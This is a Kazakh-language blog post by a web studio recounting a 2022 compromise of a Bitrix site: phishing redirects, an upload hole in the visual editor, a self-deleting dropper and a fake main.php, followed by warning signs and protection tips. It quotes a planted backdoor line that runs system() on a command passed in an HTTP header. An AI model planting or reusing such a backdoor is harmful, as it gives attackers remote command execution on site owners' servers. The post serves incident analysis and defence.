Блог | ONELAB веб-студиясы
+7 (700) 700 71 77 info@oneit.kz

Битрикс қиын жағдайға тап болды. Сайтқа зиянды код жүктелді

12.12.2022

2022 жылдың шілде айының басында хостингтің техникалық қолдау қызметінен клиенттің сайтында зиянды кодтың бар екендігі белгілі болды.

Хатта веб-сайтта зиянды функцияның бар екендігі туралы хабарланған. Алғашқы мәліметтер Компьютерлік инциденттер бойынша ұлттық үйлестіру орталығының арналары арқылы алынған. Атап айтқанда, сайттағы JS-код пайдаланушыларды орындаудан кейін шабуылдаушылардың бақылауындағы фишингтік сайтқа бағыттайтыны, яғни XSS-шабуылы жасалғаны туралы айтылды.

Сайтты басқару CMS Битрикс арқылы жүзеге асырылады. Маңыздысы — тапсырыс берушінің веб-ресурсында лицензияның мерзімі өтіп кеткен, яғни сайт қозғалтқышы соңғы нұсқаға дейін жаңартылмаған.

Ақпарат алынғаннан кейін бірден жұқтырылған файлдар зерттелді. Олар core.js және prolog.php файлдары болып шықты.

Хакерлердің әрекеттері осы файлдарға сыртқы код енгізуге бағытталған, нәтижесінде басқа сайттарға қайта бағыттау (редирект) орын алған. Мұндай сценарий, атап өту керек, ең жаман жағдай емес: файлдардың мазмұнына қол жеткізген хакерлер ақпаратты толықтай жоя да алады.

Зиянды код жойылғаннан кейін жұмыс жалғастырылды. Жұқтырылған файлдар қалпына келтірілгенімен, бұрын пайдаланылған осалдық әлі де бар болып, қайта шабуыл қаупін сақтап қалды.

Осыған байланысты Битрикс форумдарын зерттеу басқа пайдаланушыларда да ұқсас оқиғалар болғанын анықтауға мүмкіндік берді. Осалдық туралы нақты деректер болмағанымен, бұл әрі қарайғы жұмысты жалғастыруға мүмкіндік ашты.

Бастапқыда ескірген vote модулінде осалдық бар деген болжам жасалды, бірақ бұл гипотеза расталмады.

Келесі кезеңде соңғы күндердегі желілік сұраныстар талданып, күмәнді белсенділік анықталды. Нәтижесінде /bitrix/tools/sale_print.php мекенжайына күмәнді сұраныс табылды. Белгілі болғандай, Битрикс файлдық жүйесінде мұндай файл жоқ. Тексеру барысында көрсетілген мекенжай бойынша файлдың жоқ екені анықталды, осыған байланысты (кейін расталған) болжам жасалды — файлға қол жеткізілгеннен кейін ол өздігінен жойылған.

Вирус сайтқа қолжетімділіктер берілмей қалай енеді?

Бұл — вирустың табылғаны туралы хабар алғаннан кейін веб-ресурс иесінің орынды сұрағы. Ең жиі қолданылатын шаралар — вебмастерлер арасынан хакерді іздеу, құпиясөздер мен қолжетімділіктерді ауыстыру. Өкінішке қарай, бұл әрдайым жеткілікті болмайды.

sale_print бойынша бұрын анықталғаннан ертерек желілік сұраныстарды талдау нәтижесінде /bitrix/tools/html_editor_action.php мекенжайына екі сұраныс табылды.

html_editor_action.php — бұл жүктелетін материалдармен, соның ішінде суреттермен жұмыс істеуге арналған Битрикстің визуалды редактор элементі екені анықталды.

Аталған файлдың осалдықпен байланысын анықтау мақсатында оның кодтық базасын зерттеу туралы шешім қабылданды. Зерттеу барысында белгілі болды: материалдар жүктелген кезде визуалды редактор олардың мазмұнын уақытша қалтада сақтайды. Осы қалта дереу тексеріліп, нәтижесінде 21 маусымнан қалған файл және оның логтары (log) табылды. Толық талдау барысында бұл файл BitrixMainORMDataResult сериалданған объектісі болып шықты, оның құрамында бұрын аталған sale_print.php файлын шифрланған мазмұнмен жасау жөніндегі жүйелік команда болған. Логтарға сүйенсек, файл Битрикс жүйесінде сурет ретінде қабылданған болуы мүмкін.

Осылайша, осалдықтың себебі html_editor_action.php екені анықталды. Енді файлдың серверге қалай жүктелгенін анықтау қажет болды.

Сондай-ақ sale_print.php файлын жасаған файлға қолжетімділік объект мазмұнын дешифрлеуге мүмкіндік бергені анықталды. Зерттеу нәтижесінде core.js және prolog.php файлдарының тікелей жұқтырылмағаны белгілі болды. Оның орнына sale_print.php файлы жалған main.php файлын жасайды, ол /bitrix/components/bitrix/main.file.input мекенжайында орналасқан және күні бойынша стандартты Битрикс файлдарына ұқсатып қойылған. Сондықтан бұл файл анықталған жағдайда оны жүйелік деп қабылдамай, бірден жою қажет.

sale_print арқылы /bitrix/modules/fileman/classes/general/html_editor.php файлының мазмұнына келесі екі жол қосылады:

  • "spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",
  • if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();

Бұл жолдар да Битрикстің бастапқы мазмұнына кірмейді, сондықтан олар анықталған жағдайда дереу жойылуы тиіс.

Дәл осы жалған main.php файлына жасалған сұраныстар арқылы хакерлер core.js және prolog.php файлдарын жұқтырады.

CMS жүйесінің хакерлерге қолжетімділігі

html_editor_action.php ішіндегі осалдыққа қайта оралсақ, мәселе жұқтырылған файлдарды жіберу мүмкіндігін сақтап, сәйкесінше қауіптің өзектілігін арттырғаны анықталды.

html_editor_action.php код базасын талдау осы мәселеге қатысты маңызды қорытындылар жасауға мүмкіндік берді.

Ескі Битрикс нұсқаларының вирустарға осалдығы

Егер CMS жаңартуы ұзақ уақыт жүргізілмеген болса, яғни шамамен 2021 жылға дейін, бұл тек CSRF-токенге арналған қарапайым кіріс тексерісімен шектелетінін білдіреді. Қосымша тексерулердің болмауы хакерлердің өз сұраныстарын нақты пайдаланушы сұранысы ретінде көрсету ықтималдығын арттырады (бұл тәжірибе тестілік сайтта тексерілді).

Битрикстің соңғы нұсқасында авторизацияланған пайдаланушыларды қосымша тексеру бар. Алайда бұл қолданыстағы лицензия иелері мүлде қауіпсіз дегенді білдірмейді.

Тексеру үшін кез келген пайдаланушының авторизациясы жеткілікті, әкімші рөлі қажет емес. Себебі Битрикс платформасындағы веб-ресурстардың көпшілігі интернет-дүкендер болып табылады, ал тапсырыс кезінде сатып алушыға есептік жазба жасалады — бұл авторизация мүмкіндігін береді. Осы мүмкіндіктің өзі жаңа тексеруден өтуге жеткілікті, сондықтан тәуекел әлі де сақталады.

Жүргізілген талдау нәтижелері Битрикстегі тексерулерді жетілдіруге, зиянды файлдарды жүктеу мүмкіндігін жоюға және ағымдағы функцияларға нұқсан келтірмей түзетулер енгізуге пайдаланылды.

Бүгінгі күні осалдықтың толық жойылғаны және пайдаланушылар үшін тәуекелдің нөлге дейін азайтылғаны нақты айтылуы мүмкін.

Әрине, хакерлердің коммерциялық веб-ресурстарға жаңа шабуыл әдістерін іздеу әрекеттері тоқтаған жоқ.

Сайтта вирустың бар-жоғын қалай анықтауға болады?

Сипаттамалық белгілер:

  • басқа веб-ресурстарға қайта бағыттау;
  • хостингтен зиянды код анықталғаны туралы хабарламалар;
  • «Яндекс.Вебмастер» қызметінен ескертулер;
  • парақтардың индекстен жоғалуы;
  • «Яндекс.Директ» жарнамаларының айқын себепсіз тоқтатылуы;
  • сайттың баяу жұмыс істеуі немесе қолжетімсіз болуы;
  • сайтта тақырыбына қатысы жоқ беттердің пайда болуы (әсіресе тыйым салынған мазмұндағы).

Аталған белгілер вирустық шабуылдың белгісі болуы мүмкін, сондықтан дереу қолдау қызметіне жүгіну қажет.

Сайтты вирустардан қорғау

Сенімділікті қамтамасыз ету бойынша ұсынылатын әрекеттер:

  • CMS жүйесін үнемі жаңартып отыру — жүйенің танымалдығы пайдаланушылар мен сонымен қатар хакерлер санының өсуіне әкеледі;
  • хостинг пен әкімші панелінің құпиясөздерін мерзімді түрде (жарты жылда бір рет немесе жиі) ауыстыру;
  • компаниядан кеткен қызметкерлердің қолжетімділіктерін жою немесе өзгерту;
  • сенімділігі төмен пайдаланушыларға қолжетімділікті таратпау;
  • жеке деректердің жіберілуін бұғаттайтын қауіпсіз браузерлерді пайдалану;
  • іріктеп табу ықтималдығы төмен, сенімді құпиясөздерді орнату.

Сонымен қатар күмәнді бағдарламаларды орнатудан және күмәнді веб-сілтемелерге өтуден аулақ болу керек.

Егер мәселені өз бетіңізше шешу мүмкін болмаса, кәсіби техникалық қолдау мамандары мәселені жоюға көмектеседі.

Возврат к списку